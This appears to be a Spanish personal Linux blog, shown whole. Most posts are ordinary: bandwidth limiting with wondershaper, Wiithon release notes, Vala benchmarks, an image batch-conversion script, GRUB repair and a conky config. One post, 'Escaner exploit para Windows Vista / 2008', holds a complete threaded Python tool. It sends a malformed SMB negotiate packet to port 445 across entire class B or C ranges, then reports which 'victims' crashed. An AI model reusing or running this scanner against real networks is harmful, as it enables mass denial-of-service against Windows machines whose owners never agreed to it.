Linux: Limitación de Descarga y Subida a nivel de Kernel

Teoría:

Cuando alcanzamos los límites de nuestra conexión, ya sea en subida y/o en bajada, los tiempos de respuesta (latencia, ping) se disparan, debido a que se están formando colas en el router. Y en general, los routers domésticos, gestionan muy mal las colas (son sistemas embebidos con muy poca memoria).

Por ello, es mejor acumular las colas en nuestros potentes ordenadores, en lugar de nuestros tristes routers que regalan con las portabilidades.

Realmente, lo de acumular la cola en el host, solo sirve para la subida, ya que la subida solo depende de nosotros. La técnica para controlar el límite de bajada es el siguiente: nuestro ordenador recibe paquetes, y tiene capacidad para gestionar todo el flujo pero intencionadamente se descartan paquetes hasta conseguir el flujo deseado. El punto anterior en la traza hasta nosotros, se dará cuenta que estamos descartando paquetes. Todos los routers interpretan esto como congestión, aunque sea congestión simulada. El router emisor se relaja hasta que le aceptemos todos los paquetes, que será cuando alcanzemos el flujo de descarga deseado. El único problema, es que cíclicamente los emisores probarán suerte volviendo aumentar el flujo para ver si hemos superado la congestión, y necesariamente cíclicamente se descartarán paquetes. Esto no es grave, también pasa cuando descargamos algo, y llega al auténtico límite de nuestra conexión, pero es interesante comentarlo.

Todo esto de controlar la congestión mediante colas en el propio host para mantener las latencias se denomina QoS. Calidad de servicio.

Aunque algunos routers caseros han intentado implimentar el QoS, en si experiencia, dejan bastante que desear. Si queremos un QoS de calidad, la única opción es montar un host sobre Linux que hará la función de router, entre otras cosas gestionando todos los flujos con QoS y prácticamente capacidad para colas tan grandes como nuestra capacidad RAM.

Si nuestra LAN es pequeña, este esquema no es barato, tener que tener un pc 24 horas con la función principal de rutear (pero router de calidad empresarial eso sí.). Otra forma sería poner los límites en cada uno de los hosts.

Evidenetemente las restricciones las pondrá un root, para que no haya forma de saltarse los límites de descarga/subida. Esto en Linux en fácil, en Windows, por su mal diseño, te obliga a trabajar como administrador, y por tanto podrías cerrar procesos como NetLimiter que realizan tambien QoS, pero en Windows.

Linux utiliza el comando “tc” para controlar los flujos, pero su uso es realmente extenso, por ello existe un script cuya funcionalidad se limita a un caso de uso muy común (limitar todo el ancho de banda, bajada y subida sin diferenciar Web de Emule, etc …). El script en cuestión es wondershaper.

Bueno, pasamos a lo interesante xD.

Práctica:

Hacemos un test de velocidad, asegurate que nadie use internet, o desenchufa a todos en el switch xD. Necesitamos los datos de la conexión en Kbps (bits). Es decir para 6 Mb de bajada 1 Mb de subida son 6144Kbps / 1024Kbps teorícos pero por el over heat del TCP/IP será un 15-20% menos, supongamos 5100/750. Ese es el limite real, que sera lo que deevuelva un test de velocidad. A ese resultado reducirlo otra 20% más, como margen para permitir una ventana de concurrencia con los demás hosts, quedandose 4080 Kbps / 600 Kbps. Hemos puesto un colchon de un 20%, debeis probar varios valores, entre mayor sea el colchón más asegurado esta el ping. con un 20% debería no subir nunca el ping, pero si de por sí vuestro router es malo(puede repartir mal el tiempo entre bocas), por puede que necesiteis más colchón para asegurar la calidad del servicio. Ahora simplemente INSTALAR Y LIMITAR.

Instalamos el script: sudo apt-get install wondershaper
Con ifconfig miramos nuestro interfaz en uso: Por ejemplo, en mi caso eth0.
Limitramos la conexión: sudo wondershaper eth0 4080 600
Yo aparte me he puesto un alias en el .bash_aliases: alias limitar=’sudo wondershaper eth0′

Ahora hay que hacer pruebas, limitar todos los hosts, aumentar la concurrencia y en todo host debería tener unos tiempos mínimos de latencia. Si realmente necesitas un colchón muy grande, como un 60% o así, es que tienes un problema en tu red, probablemente exceso de colisiones, puede que uses un hub, o que la red sea muy grande y necesites separar los dominios de colisión con routers o puentes.

El script depende de iproute, en otras distribuciones tambien llamado iproute2, en ubuntu viene instalado, pero igual en otras distribuciones no viene.

Cuando ya tengais los valores correctos, para hacerlo definitivos:

1º Editamos: sudo gedit /etc/network/interfaces
2º Y lo dejáis así, pero con vuestros valores :D:

auto lo
iface lo inet loopback
up /usr/sbin/wondershaper eth0 4080 600
down /usr/sbin/wondershaper remove eth0

Existen otras formas, más dinámicas y válidas para cualquier adaptador con los script de if.up e if.down pero a mi me vale así.

Por último para eliminar el QoS (y se puede deducir del paste anterior) escribimos:
sudo wondershaper remove eth0

Ya puedo jugar el Counter Strike, mientras los demás están con el JDownloader, Emule, Torrent … !! :D

Wiithon 1.1 publicado!

Actualizado: sábado, 21 de noviembre de 2009

Bueno por fin publicamos la nueva versión tras casi 5 meses desde el anuncio de la 1.0.
Para mi wiithon me ha aportado mucho en conocimientos, me he acostumbrado tras muchos años de SQL puro, el uso de bases de datos ORM. He aprendido la potencia del combo python + pygtk. He aprendido a crear paquetes deb que siguen las políticas de Debian. Crear manpages, hacerme un repositorio de paquetes, resolver conflictos de bazaar, subir paquetes, comprender los problemas de punteros en 32bits y 64 bits y por último, he aprendido a amar a los Makefiles y esa gran satisfacción de hacer cosas complejas de forma controlada y sencilla.

Sin más rollo os pongo un tutorial mucho más simplificado, si lo comparamos con el de la versión anterior:

  1. Novedades
  2. Características ya existentes
  3. Reporte de bugs
  4. Instalación
  5. Actualización
  6. Uso de Wiithon en Consola (CLI)
  7. Descargar código fuente
  8. Colaborar en Wiithon
  9. Estado de traducción de Wiithon.
  10. Team wiithon
  11. Pantallazos

Sigue leyendo

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  https://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  https://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Vala: Eficiencia de C++ y Estilo de C#

Hace tiempo hice mis primeros pinitos en mono, mediante ASP.NET pero como ya puse en ese post, no me terminaba de convencer que las decisiones de la comunidad libre sean inexistentes y quedemos vendidos a mono frente a una política comun en Microsoft: Adoptar, Extender y Extinguir.

Vala es una alternativa a mono iniciada por los desarrolladores de GNOME:
http://live.gnome.org/Vala

Aqui unos benchmarkings, como podeis observar,  su rendimiento comparado con mono es aplastante, y juega en la misma liga que los mismisimos C/C++.

Nombre del benchmarking C++ Mono plain-C Vala
mandelbrot 14.50 54.61 12.39 13.13
partialSums 33.04 56.13 35.00 34.95
recursive 12.94 30.14 8.44 8.72
binaryTrees 27.87 43.87 21.56 30.84
sumFile 17.11 22.89 13.99 15.06
fannkuch 11.46 27.05 11.26 12.44
spectralNorm 32.82 49.82 33.25 33.36
nsieve 25.32 28.03 25.31 25.09

De hecho lo estoy considerando para programar videojuegos, ya que es lo que siempre he deseado, un alto nivel que te ahorra tiempo con eficiencia de código nativo, sin maquinas virtuales. Lo digo por este ejemplo de Vala en OpenGL: http://live.gnome.org/Vala/OpenGLSamples

Como inconveniente, habría que analizar su capacidad de multiplataforma (incluso con KDE).

Por último os pasteo un poco de código de Vala para que veais que se aprende en 2 tardes sabiendo algo de C/C++/C#.

public class NumberGuessing {

    private int min;
    private int max;

    public NumberGuessing (int min, int max) {
        this.min = min;
        this.max = max;
    }

    public void start () {
        int try_count = 0;
        int number = Random.int_range (min, max);

        stdout.printf ("Welcome to Number Guessing!\n\n");
        stdout.printf ("I have thought up a number between %d and %d\n", min, max);
        stdout.printf ("which you have to guess now. Don't worry, I will\n");
        stdout.printf ("give you some hints.\n\n");

        while (true) {
            try_count++;

            stdout.printf ("Try #%d\n", try_count);
            stdout.printf ("Please enter a number between %d and %d: ", min, max);
            int input = stdin.read_line ().to_int ();

            if (number == input) {
                stdout.printf ("Congratulations! You win.\n");
                break;
            } else {
                stdout.printf ("Wrong. The wanted number is %s than %d.\n",
                               number > input ? "greater" : "less", input);
            }
        }
    }

    public static int main (string[] args) {
        var game = new NumberGuessing (1, 100);
        game.start ();
        return 0;
    }
}

Fuente:
http://live.gnome.org/Vala
http://code.google.com/p/vala-benchmarks/wiki/BenchResults

Wiithon 1.0 liberado!!

POST ANTICUADO, última versión wiithon: 1.1 https://blogricardo.wordpress.com/2009/11/20/wiithon-1-1-publicado/

Actualizado: martes, 28 de julio de 2009

Creo que ya es el momento de publicar esta versión de wiithon con un GUI basado en GTK. Un desarrollo que empeze en abril, (trás publicar wiithon 0.98) sin tener apenas expriencia en GTK, gracias a Jose Luis Segura(LK2) y Google, he aprendido lo sufuciente en GTK para llegar al punto en el que estamos.

Sin dar más vueltas os expongo ls partes que va a tener esta presentación:

  1. Características
  2. Descargas
  3. Instalación
  4. Ejecución
  5. Actualización
  6. Traducir wiithon
  7. Agradecimientos.
  8. Team wiithon
  9. Screenshots

Sigue leyendo

Screenshot wiithon

Cada vez estamos más cerca de una versión estable, hoy llevo toda la tarde probando el buscador y va muy muy fino. (Utilizo un ORM llamado SQlAlchemy que a su vez esta basado el SQLLite).
Sigue leyendo

Script para ripear imagenes masivamente* (Actualizado)

Ultima modificación: jueves, 28 de mayo de 2009

Necesitaba ripear unas 5000 imagenes en el curro, en cada una de ellos necesitaba pasarlo de TIFF a JPG y fijar el ancho a 800 y alto libre manteniendo aspect ratio.

Me he hecho este script cuyo uso simplemente es pasar todos las carpetas que vamos a trabajar como parametros. Por ejemplo:

Uso: ripearImagenes CARPETA1 CARPETA2 CARPETA3 … CARPETAN

Escribiendo ripearImagenes sin parametros es equivalente a pasar el directorio actual como primer parametro.

Simplemente gedit ripearImagenes y pasteamos, además podeis poneros el script en algún directorio “PATHeado” (evidentemente, esto ultimo es opcional xD):

#!/usr/bin/python

#
# :: Invasion Tux
# :: Ultima modificacion : jueves, 28 de mayo de 2009
# :: Script realizado por makiolo (makiolo@gmail.com) (Licencia Creative Commons con reconocimiento)
# :: Ultima version : https://blogricardo.wordpress.com/2009/05/15/script-para-ripear-imagenes-masivamente/
# :: Dependencias : python , convert
#

import os,sys,glob,subprocess,shutil

######### CONFIGURACION ##############

SUFIJO = "_RIPEADO"
DESTINO = ".png"
ANCHO = 2000
FORMATOS_VALIDOS = ["jpg","gif","png","tif"]

######################################

def getExtension(fichero):
	posPunto = video.rfind(".")
	return fichero[posPunto+1:len(fichero)]

def extensionEsValida(fichero):
	posPunto = video.rfind(".")
	if posPunto != -1:
		extension = getExtension(fichero)
		try:
			FORMATOS_VALIDOS.index(extension)
			return True
		except ValueError:
			return False
	else:
		return False

def getNombreRipeado(fichero):
	return fichero+SUFIJO+DESTINO

def getCarpetaRipeados( dir_inicial ):
	return "%s_RIPEADOS" % ( os.path.basename(dir_inicial) )

def existeRipeado(fichero):
	return os.path.exists(getNombreRipeado(fichero))

def ripear(fichero):
	ret = subprocess.call('convert "%s" -quiet -resize %d "%s"' % ( fichero , ANCHO , getNombreRipeado(fichero) ) , shell=True)
	return ret == 0

def ripearTodo( carpeta ):
	imagenes = []
	for extension in FORMATOS_VALIDOS:
		imagenes += glob.glob("*."+extension)
	borradas = 0
	copia = []
	lenFinal = len(SUFIJO+DESTINO)
	for imagen in imagenes:
		if(imagen[-lenFinal:] != SUFIJO+DESTINO):
			if os.path.isfile(imagen):
				copia.append(imagen)
		else:
			os.remove( imagen )
			borradas = borradas + 1
	print "+ Borradas %d imagenes ripeadas" % (borradas)

	total = len(copia)
	print "+ Ripeando %d imagenes: " % total
	i = 1
	for imagen in copia:
		print "  - Ripeando %d de %d\r" % (i , total),
		sys.stdout.flush()
		if ripear(imagen):
			shutil.move( getNombreRipeado(imagen) , carpeta)
		else:
			print "Error ripeando %s. Posiblemente no sea una imagen." % (imagen)
		i+=1

def App():
	try:
		if len(sys.argv) == 1:
			sys.argv.append(".")
		dir_inicial = os.getcwd()
		for parm in sys.argv:
			if parm != sys.argv[0]:
				if (os.path.isdir(parm)):
					carpeta = getCarpetaRipeados( dir_inicial )
					if not os.path.exists(carpeta):
						os.mkdir(carpeta)

					parm = os.path.abspath( parm )
					carpeta = os.path.abspath( carpeta )
					os.chdir(parm)
					print "Trabajando %s" % parm
					ripearTodo( carpeta )
					os.chdir( dir_inicial )
				else:
					print '"%s" no es un directorio' % parm
	except KeyboardInterrupt:
		print "ancelado por el usuario"

if __name__ == '__main__':
	App()

wiithon . WBFS GUI en Linux para WII . v0.98!

POST ANTICUADO, última versión wiithon: 1.1 https://blogricardo.wordpress.com/2009/11/20/wiithon-1-1-publicado/

Sigue leyendo

Espacios en for i in $(ls)

#!/bin/sh

IFS=$'\x0A'$'\x0D' ;
for i in $(find -iname "*.avi"); do
mv -v "$i" . ;
done;

Chuleta:  Para que el for no considere el espacio un separador, y una tarea como la del ejemplo lo realize bien. El script de ejemplo mueve todos los videos de subcarpetas al directorio actual.

Compactar BDD sqlite de Firefox 3

Bueno por fin he acabado los examenes y tengo bastantes posts acumulados(en mi cabeza) y que iré publicando cuando tenga tiempo.

Lei en Barrapunto que compactando la BDD de sqlite de Firefox 3 teóricamente debería acelerar las consultas, inserciones, borrados y todas las operaciones que conlleva una base de datos. Si esto es cierto, deberíamos ejecutar este script de vez en cuando. Hablo de teóricamente por que no he hecho benchmarkings pero tener más que fe que esto acelera un cierto tipo de consultas, y si no al menos reducimos el espacio en disco. Creaamos con gedit compactarFirefox.sh y pasteamos:

#!/bin/sh

for f in ~/.mozilla/firefox/*/*.sqlite; do sqlite3 $f 'VACUUM;'; done

Realmente espero que en  futuras versiones de firefox, el mismo se automantenga cada cierto tiempo, ya que estas cosas a las que ya hace años nos mal acostumbro M*cro**ft con al access. Y pienso que el aumantenimiento de las base de datos incrustadas debería ser un proceso totalmente transparente al usuario.

Poner Firefox 3.0.3 en español

Me he encontrado unas cuantas instalaciones de ubuntu que tienen el firefox en ingles, a pesar que he probado a instalar/desinstalar paquetes de lenguaje(como mozilla-firefox-locale-es-es o language-support-es) y buscar otras soluciones, realmente no iba encontrado una buena solución hasta ahora.

El motivo pienso que es algún bug de firefox en el repositorio de Ubuntu de backported. Ya que todas las instalaciones que he visto este comportamiento tenían activado dicho repositorio.

Buscando en google he ecnontrado la única solución que me ha funcianado, y es simplemente instalar una extensión de firefox que pone el firefox en español.

Descargar extensión para Firefox 3.0.3 en Español

Fuente: http://www.ubuntu-es.org/index.php?q=node/101099

Recuperar / Restaurar GRUB pisado por “otro” SO

Cada disco duro tiene un espacio reservado para el MBR. El MBR es el primer mini-programa que arranca la BIOS y objetivo de virus en la época de DOS. Cuando instalamos sistemas operativos egoístas como Windows nos pisa nuestro MBR y pone su gestor de arranque que solo sirve para arrancar particiones FAT32 y NTFS.

  1. Nos metemos en la BIOS y preparamos el ordena para arrancar por LIVE y ya que estamos aqui nos aseguramos en el caso de tener más de 1 disco duro, poner el disco duro que va arrancar linux por delante en la secuencia de arranque.
  2. Arrancamos con un live de ubuntu 8.04 (por ejemplo), ya que aún faltan 10 días para la 8.10.
  3. Montamos la partición que tiene el grub (es decir, la partición que tiene la carpeta /boot). Montamos por interfaz gráfica, por el hecho de entrar a visualizar datos, se automonta. Es importante montar.
  4. Necesitamos saber 2 variables:
    • X = el número de nuestro disco duro
    • Y = el número de partición (la que tiene el grub)
  5. Podemos ejecutar el gparted ( sudo gparted ) para ver en que posición de la lista pone el disco duro (X) y en que posición esta la partición. También nos podemos apoyar de df, analizamos el nombre lógico que asigna Linux a la partición. Por ejemplo /dev/sda2 . La letra “a” indica el primer disco duro y el 2 que es la segunda partición.
  6. Teniendo nuestro X y nuestro Y le restamos 1 a ambos, debido a que la numeración de GRUB empieza por 0. Algunos ejemplos de como quedaría la cosa:
    • X=0,Y=0: es la primera partición del primer disco duro, al igual que hda1 o sda1
    • X=0,Y=1: es la segunda partición del primer disco duro, al igual que hda2 o sda2
    • X=1,Y=2: es la tercera partición del segundo disco duro, al igual que hdb3 o sdb3
  7. Sabiendo eso el resto es fácil, abrimos un terminal y escribimos.
    • sudo grub para entrar en el intérprete del GRUB
    • En los 2 siguientes comandos os recuerdo que hay tener en cuenta el punto 6.
    • Indicamos en que partición esta ubuntu escribiendo (importante el espacio despúes del root): root (hdX,Y)
    • Finalmente instalamos GRUB en el MBR del disco X, para ello escribimos (importante el espacio despúes del setup) : setup (hdX)
    • Salimos de grub escribiendo : quit y reiniciamos : sudo reboot

Fuentes:
http://www.guia-ubuntu.org/index.php?title=Recuperar_GRUB

GetDeb se especializa: repositorio de juegos PlayDeb

Llevamos tiempo disfrutando de los repositorios de GetDeb pero según pone en el blog de getdeb , se ha creado el proyecto playdeb, que tratara de centrarse exclusivamente en ser el principal repositorio de juegos de ubuntu.
– Para instalar el repositorio sólo hay que ir a Sistema -> Administración -> Orígenes del Software y en la pestaña de Software de terceros hacer click sobre Añadir y pegar la siguiente línea:

deb mirror://www.getdeb.net/playdeb-mirror/hardy/// hardy/

Una vez recargada la lista, desde el Menú principal -> Añadir y quitar se puede acceder a todos los juegos e instalarlos cómodamente.
Otra forma es ir a esta lista de juegos de PlayDeb y gracias al protocolo apt:// podemos instalar juegos con un simple click desde el hipervínculo.

Conky : El monitor del sistema más versatil

conkyConky es un software libre para monitorear el estado de sistemas basados en linux. Lo mejor es de conky es su gran versatilidad, dispone de su propio lenguaje de scripts, este script nos permite por ejemplo mostrar la salida de un comando cada cierto tiempo. Por ejemplo tail -n 5 /var/log/messages , mostrar textos fijos, conky tiene una gran lista de variables predefinidas, podemos poner lineas, tablas, graficos y todo ello del color que queramos. Tenemos una innumerable lista de posibilidades, pero lo mejor para empezar es estudiar scripts que la comunidad pone a disposición, y siguiendo la filosofía de software libre mejorandolo y adaptandolo a nuestras necesidades, para despues volverle a poner a disposición de la comunidad. Siguiendo esta filosofía aqui os pongo mi .conkyrc. Para configurar vuestro conky igual que el mio, debeis escribir en consola: gedit ~/.conkyrc y pastear todo este script, despues seguimos los pasos que aparecen en la cabezera del script, debido a que tiene algunas dependencias que hay que instalar. Es fácil analizar la sintaxis y modificarlo a nuestras necesidades:

# Ultima actualización : domingo, 02 de noviembre de 2008
# Algunos trozos basadas en : http://ubuntuforums.org/showthread.php?t=281865&page=172
# Requiere : Hddtemp(como demonio) , lm-sensors y nvidia-settings
# Paso 1 : instalar hddtemp lm-sensors nvidia-settings
# Paso 2 : sudo sensors-detect le damos todo por defecto y en el ultimo paso decimos YES para añadir el modulo coretemp a /etc/modules
# Contacto : makiolo@gmail.com

background yes
use_xft yes
xftfont Terminus:size=8
out_to_console no
update_interval 3.0
total_run_times 0
own_window no
double_buffer yes
draw_shades no
draw_outline no
draw_borders no
stippled_borders 8
border_margin 12
border_width 1
default_color white
default_shade_color black
default_outline_color white
alignment top_right
maximum_width 270
own_window yes
own_window_type normal
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
gap_x 12
gap_y 24
no_buffers yes
uppercase no
cpu_avg_samples 2
net_avg_samples 2
override_utf8_locale yes
use_spacer none

TEXT
${color #000000}SISTEMA ${hr 2}${color}
${color #ddaa00}PC:${alignr} ${color}Linux Ubuntu, $nodename
${color #ddaa00}Kernel :${alignr}${color}$kernel
${color #ddaa00}Tiempo encendido:${alignr} ${color }$uptime
${color #000000}CARGA DEL SISTEMA ${hr 2}${color}
CPU 1 (${freq_g cpu0}Ghz): ${color #FF0000} ${color #ddaa00} ${cpu cpu1}% ${color #ff0000}${exec sensors | grep "Core 0" | cut -c15-17}$color °C ${color}${cpubar cpu1}
CPU 2 (${freq_g cpu1}Ghz): ${color #FF0000} ${color #ddaa00} ${cpu cpu2}% ${color #ff0000}${exec sensors | grep "Core 0" | cut -c15-17}$color °C ${color}${cpubar cpu2}
Temperatura tarjeta gráfica: ${color #FF0000} ${exec nvidia-settings -q gpucoretemp | grep '):' | awk '{print $4}' | cut -c -2}$color °C
${cpugraph cpu0 20,270 000000 6495ED}
${font Liberation Sans:size=9}${color #000000}PROCESO${alignc}CPU${alignr}PID${color}
${color #ddaa00}${top name 1}${alignc}${top cpu 1}%${alignr}${top pid 1}
${color #F0F8FF}${top name 2}${alignc}${top cpu 2}%${alignr}${top pid 2}
${color #F0F8FF}${top name 3}${alignc}${top cpu 3}%${alignr}${top pid 3}
${color #F0F8FF}${top name 4}${alignc}${top cpu 4}%${alignr}${top pid 4}
${color #F0F8FF}${top name 5}${alignc}${top cpu 5}%${alignr}${top pid 5}
${color #F0F8FF}...${alignr}... 	   ...  $font
${color}$processes procesos $alignr $running_processes/$processes
${color #000000}MEMORIA ${hr 2}$(color)
${color}RAM al $memperc% ${color 000066}${membar 5,00}
${color #000000}DISCO DURO ${hr 2}${color}
${color #ddaa00}Temperatura:${alignr}${color lightgrey}${exec nc localhost 7634 | cut -f 4 -d "|"}º C
${color #ddaa00}Lectura: ${alignr}${color lightgrey}$diskio_read
${color #ddaa00}Escritura: ${alignr}${color lightgrey}$diskio_write
${diskiograph 20,270 000000 941545}
${color #ddaa00}Ubuntu: ${color lightgrey}${fs_used /} / ${fs_size /} ${color 000066}${fs_bar 6 /}$color
${color #ddaa00}Datos: ${color lightgrey}${fs_used /home} / ${fs_size /home} ${color 000066}${fs_bar 6 /home}$color
${color #ddaa00}XP: ${color lightgrey}${fs_used /media/windowsXP} / ${fs_size /media/windowsXP}  ${color 000066}${fs_bar 6 /media/windowsXP}$color
${color #000000}ALIMENTACIÓN ${hr 2}${color}
${color #ddaa00}Enchufe:${alignr} ${color}${acpiacadapter}${color}
${color #ddaa00}Batería:${alignr}${color}${battery BAT1}
${color #000000}INTERNET por WIFI ${hr 2}${color}
${color #ddaa00}IP Publica: ${color #EAE52F}${alignr}${execi 7200 lynx -dump http://www.whatismyip.com/automation/n09230945.asp | grep . |awk '{print $1}'}
${color #ddaa00}IP Local: ${color }$alignr${execi 7200 ifconfig | grep 'inet dirección:'| grep -v '127.0.0.1' | grep -v '172.16.235.1' | grep -v '192.168.148.1' | cut -d: -f2 | awk '{ print $1}'}
${color #ddaa00}SSID: ${color }$alignr${wireless_essid wlan0}
${color #ddaa00}Quality: $alignr${color }${wireless_link_qual_perc wlan0}%  (${wireless_bitrate wlan0})
${wireless_link_bar wlan0}
${color lightgrey}Download:${color} ${downspeed wlan0} KB/s$alignr${color lightgrey} Upload:${color} ${upspeed wlan0} KB/s
${color}${downspeedgraph wlan0 20,200 ddaa00 ddaa00} ${color}${alignr}${upspeedgraph wlan0 20,70 ddaa00 ddaa00}
${color lightgrey}Descargado: ${color}${totaldown wlan0}$alignr${color lightgrey}Subido: ${color}${totalup wlan0}
${color slate grey}Conexiones ${color lightgrey}Entrada: ${color #ff0000}${tcp_portmon 1 32767 count}${alignc}${color lightgrey}Salida: ${color #ff0000}${tcp_portmon 32768 61000 count}${alignr}${color #ddaa00}Total: ${color #ff0000}${tcp_portmon 1 65535 count}
${color #000000}INTERNET por CABLE${hr 2}
${color lightgrey}Download:${color} ${downspeed eth0} KB/s$alignr${color lightgrey} Upload:${color} ${upspeed eth0} KB/s
${color lightgrey}Descargado: ${color}${totaldown eth0}$alignr${color lightgrey}Subido: ${color}${totalup eth0}
${color #000000}MENSAJES DE KERNEL ${hr 2}${color}
${exec dmesg | tail -n 4}

Enlaces útiles:
Web de Conky
Foro ubuntu con .conkyrc de la comunidad
Variables predefinidas por conky
Comandos de confugiración

Como hacer juegos profesionales: Linux + OGRE + PhysX 2ª Parte

1ª Parte : Introducción
2ª Parte : Nuestra Primera aplicación

Nuestra primera aplicación

Vamos a crear 2 cubos, de manera que lo dejaremos caer, y se comportan con una física real. Al principio los tutoriales serán mucho de copy & paste, para entrar a la acción rapidamente, despues se ira explicando más cada cosa.

Empezamos a escribir código

  • Creamos una carpeta para empezar nuestro proyecto : mkdir -p ~/proyectos/juegosProfesionales
  • Nos cambiamos a nuestro nuevo directorio de trabajo : cd ~/proyectos/juegosProfesionales
  • Creamos un main.hpp : gedit main.hpp main.cpp
  • En el main.hpp pegamos esto :
    Sigue leyendo